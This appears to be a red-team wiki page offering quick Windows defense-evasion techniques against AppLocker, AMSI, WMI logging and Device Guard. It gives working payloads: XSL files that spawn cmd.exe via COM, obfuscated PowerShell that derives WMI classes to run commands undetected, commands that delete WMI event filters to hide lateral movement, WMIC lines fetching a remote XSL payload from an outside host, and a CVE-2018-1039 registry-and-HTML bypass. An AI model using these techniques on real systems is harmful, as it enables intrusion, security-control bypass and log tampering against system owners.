Defenses Evasion (The Quick'n Dirty)

This is just a quick and dirty overview of some defense evasion tactics that are out there for some the common services / processes. I might post something in the future that dives into this deeper - if you don't want to wait for that day to come I'm sharing with you below some amazing resources and articles I've appreciated in the past.

Awesome tool for restricted env. evasion:

https://github.com/Cn33liz/p0wnedLoader
https://rastamouse.me/2018/05/csharp-dotnettojscript-xsl/
https://github.com/Arno0x/PowerShellScripts
https://github.com/cobbr/PSAmsi/wiki/Introduction-To-PSAmsi
https://github.com/secabstraction/WmiSploit

More:

https://bohops.com/2019/01/10/com-xsl-transformation-bypassing-microsoft-application-control-solutions-cve-2018-8492/

https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://oddvar.moe/
https://www.fortynorthsecurity.com/building-a-windows-defender-application-control-lab/
https://posts.specterops.io/threat-detection-using-windows-defender-application-control-device-guard-in-audit-mode-602b48cd1c11
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/evaluate-windows-defender-exploit-guard
http://www.exploit-monday.com/2018/06/device-guard-and-application.html
https://lolbas-project.github.io/#

https://www.contextis.com/en/blog/amsi-bypass

Application Identify Service (Process name: AppIDSvc)

Definition:

The Application Identity service determines and verifies the identity of an app. Stopping this service will prevent AppLocker policies from being enforced.

Important:
When using Group Policy, you must configure it to start automatically in at least one Group Policy Object (GPO) that applies AppLocker rules. This is because AppLocker uses this service to verify the attributes of a file.

Identification:
`Get-Service appidsvc`

Bypass through COM object technique:

1) Store payload in XML file:

```
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
    xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
```

2) Use "COM" object to execute payload:

```
$xsl = new-object -ComObject Msxml2.DoMDocument.6.0
$xsl.load("C:\Users\Victim\Documents\minimalist.xml") | out-null
$xsl.setProperty("AllowXsltScript",$true)
$xsl.transformNode($xsl)
```

Evade Detection and/or Restricted Environments

WMI Class Derivation (Evasion) with no "win32" prefix:

```
$C = [WmiClass] '/root/cimv2:Win32_Process'
$N = $C.derive('MyEvilProcess')
```

```
$N.Put()
Invoke-WmiMethod MyEvilProcess -Name CrEaTe -ArgumentList calc.exe
```

Advanced WMI Class Derivation - presented at Security BsidesDublin 2019 talk.

Full details https://github.com/kmkz/PowerShell/tree/master/BsidesDublin-2019

```
# RandomName function:
function GenerateRandomName(){

    $Pf = "abcdefghijkmnopqrstuvwxyzABCEFGHJKLMNPQRSTUVWXYZ23456789".TOchArarRay()
    $rSVdssS1=""
    1..10 | ForEach {  $rSVdssS1 += $Pf | Get-Random }
    return $rSVdssS1
}

# Class derivation
zNrF = -jOin[regex]::MaTcHeS('sSeCorp_23nIw:2VmIc/tOoR/',".",'RightToLeft')
$CoFtfEgvsJ = [wMicLaSs]$zNrF
$YepTa = "pRoc"+"eSs"
$PoDtbeF4Dp= GenerateRandomName
$N = $CoFtfEgvsJ.dEriVe("$PoDtbeF4Dp")
$N.pUt()
$BlzQ=0
$VrBnZ=111-1+3+7+5+5-3+$BlzQ
$CpOnBt5= gEt-cOntEnt -paTh "\\Vboxsvr\shared\BSIDESIE\cmd.in.txt" # your command

# Payload execution:
iNvokE-wmIMeThOd $PoDtbeF4Dp -NaMe CrEaTe -arGumEntlIst "cMd ^/c $CpOnBt5
>>\\Vboxsvr\shared\BSIDESIE\$rSVdssS.lol" # collect output (if needed)
```

Authenticated proxy bypass:
"Creates a TCP Tunnel through the default system proxy. As such, it automatically handles proxy authentication if ever required."

https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1

PowerShell without PowerShell + restricted env. escaping through WMIC XSL payload execution:

```
C:\Windows\System32\WMIC.exe os get
/format:"https://tatamaster.lol/p0wnedLoader/p0wnedLoader.xsl"
```

Blue team/detection mechanisms evasion for WMI lateral movements:
(Add following line to your payload to remove Windows "Applications" EvenViewer logs)

```
Get-WmiObject __eventFilter -namespace root/subscription -filter "name='_PersistenceEvent_'"|
Remove-WmiObject
Get-WmiObject __eventFilter -namespace root/subscription -filter
"name='_ProcessCreationEvent_'"| Remove-WmiObject
```

Antimalware Scan Interface (AMSI)

Identification (for ScanBuffer):
In a PowerShell terminal, enter “AmsiScanBuffer” (with double quotes)

Bypasses:

https://github.com/kmkz/PowerShell/blob/master/amsi-bypass.ps1

Resources:

https://www.contextis.com/en/blog/amsi-bypass
https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/ (most recent techniques)
https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html

AppLocker demystification

"When whitelisting policies are enforced, PowerShell CLM is applied in AppLocker (for users in "Allowed Mode") and WDAC (for users and administrators)."

Error message: "This app has been blocked by your system Administrator"

Bypass:
1) use p0wnedShell via .xsl file + encryption (for Defender Bypass)
https://github.com/Cn33liz/p0wnedLoader for payload delivery (WMI)
Example: C:\Windows\System32\wbem\WMIC.exe os get
/format:"https://tatamaster/p0wnedLoader.xsl"

2) https://github.com/kmkz/PowerShell/blob/master/Semi-interactive-shell-applocker-bypass.ps1

Resources:
P0wnedShell by Cn33liz: https://github.com/Cn33liz/p0wnedShell
AAronLocker: https://blogs.msdn.microsoft.com/aaron_margosis/2018/06/26/announcing-application-whitelisting-with-aaronlocker/
https://www.slideshare.net/OddvarHlandMoe/appolockalypse-now
https://github.com/api0cradle/UltimateAppLockerByPassList

Windows Lockdown Policy (WLDP aka Device Guard) with User Mode Code Integrity (UMCI) policy

Definition:
When "enforced" by AppLocker policy, CLM COM object instantiation is very open.
In essence, (m)any COM object can be instantiated by default when WLDP is not active.
Under WDAC with UMCI, the WLDP greatly reduces this number (between 8 to 50 COM objects according to James Forshaw of Google Project Zero in this .NET COM Instantiation UMCI bypass disclosure write-up linked in "Resources" part).

Bypass based on CVE-2018-1039 by Google Project Zero:

```
1) Create a "keys.txt" file with following content:
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}
= REG_SZ WScript.Shell
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}\TreatAs
= REG_SZ {72C24DD5-D70A-438B-8A42-98424B88AFB8}
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}\Implemented
Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}\Implemented
Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}

2) From the explorer Run dialog execute “regini path\to\keys.txt”

3) Create a "shell.html" file with following content (our payload):
<html>
```

```
    <body>
    <object id="obj" classid="clsid:70B46225-C474-4852-BB81-48E0D36F9A5A">NO OBJECT</object>
<script>
try {
    obj.Exec("notepad");
} catch (e) {
    alert(e.message);
}
</script>
    </body>
</html>

4) Execute the HTML file from the Run dialog using "hh.exe path\to\shell.html"
```

Resources:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1514 (fixed on 5/08/2018)
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-1039

Revision #2
Created 26 June 2020 22:07:32 by Boschko
Updated 28 June 2020 23:41:15 by Boschko